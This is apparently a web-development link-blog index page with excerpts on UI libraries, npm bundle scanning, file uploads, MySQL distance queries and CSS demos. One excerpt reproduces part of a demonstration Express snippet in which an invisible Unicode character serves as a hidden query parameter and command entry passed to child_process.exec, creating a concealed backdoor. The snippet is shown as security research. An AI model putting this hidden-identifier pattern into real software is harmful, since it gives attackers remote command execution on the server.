Bento Components

Bento is an easy to use component library that helps you achieve a great page experience. Included components are components (such as a Gallery, Accordion, Carousel, …), 3rd party embeds (Facebook, Instagram, …), text-related utilities, etc. The components themselves are (mostly) available as Web Component or a React Functional Component. An Instagram embed for example …

Identify which NPM libraries are used on a website with Bundle Scanner

Bundle Scanner identifies which npm libraries are used on any website. It downloads every Javascript file from a URL and searches through the files for code that matches one of the 35,000 most popular npm libraries. The scanning itself works in a pretty ingenious way: When a user requests to scan a website, Bundle Scanner …

10 useful HTML file upload tips for web developers

A bit of an older post, but still relevant: Tapas Adhikary goes over some HTML attributes one can set on an input[type=”file”], and uses of the File API: Simple file upload Multiple file uploads Know about file metadata Know about file accept property Manage file content Validate file size Show file upload progress How about …

Floating UI – Positioning for tooltips, popovers, dropdowns, and more

Floating UI is a low-level library for positioning “floating” elements like tooltips, popovers, dropdowns, menus and more. Floating UI exposes primitives which enable a floating element to be positioned next to a given reference element while appearing in view for the user as best as possible. Features include overflow prevention (or collision awareness), placement flipping, …

Efficient Distance Querying in MySQL

Aaron Francis looks into querying MySQL with a ST_Distance_Sphere clause — a function to calculate the linear distance in meters between two lon/lat points — in an efficient way. There’s a few things he does there: No unnecessary calculations in WHERE clauses Pre-limiting the set by applying a bounding box Leveraging Generated Columns Using a …

Coloring With Code — A Programmatic Approach To Design

Speaking of George Francis in the previous post, he’s also got a post up on Codrops on color palettes. Learn to create beautiful, inspiring, and unique color palettes/combinations, all from the comfort of your favorite text editor! If you’re not into the color palettes themselves, at least give the part where he explains LCH a …

The Invisible JavaScript Backdoor

Wolfgang Ettlinger carefull crafted this JavaScript snippet, which contains a backdoor. const express = require(‘express’); const util = require(‘util’); const exec = util.promisify(require(‘child_process’).exec); const app = express(); app.get(‘/network_health’, async (req, res) => { const { timeout,ㅤ} = req.query; const checkCommands = [ ‘ping -c 1 google.com’, ‘curl -s http://example.com/’,ㅤ ]; try { await Promise.all(checkCommands.map(cmd => …

Breaking Out of the Box

Patrick Brosset, writing for A List Apart, digging into the Window Controls Overlay for Progressive Web Apps: At the end of the day though, PWAs on desktop are constrained to the window they appear in: a rectangle with a title bar at the top. What if we could think outside this box, and reclaim the …

Checkbox Rasterizer

Fun demo by Emanuel Kluge that processes an image and renders them in a grid of checkboxes. The colouring is done using accent-color. Note that not all browsers support accent-color at the time of writing. Embedded below is a Pen that indicates whether your browser supports it or not. See the Pen CSS accent-color Support …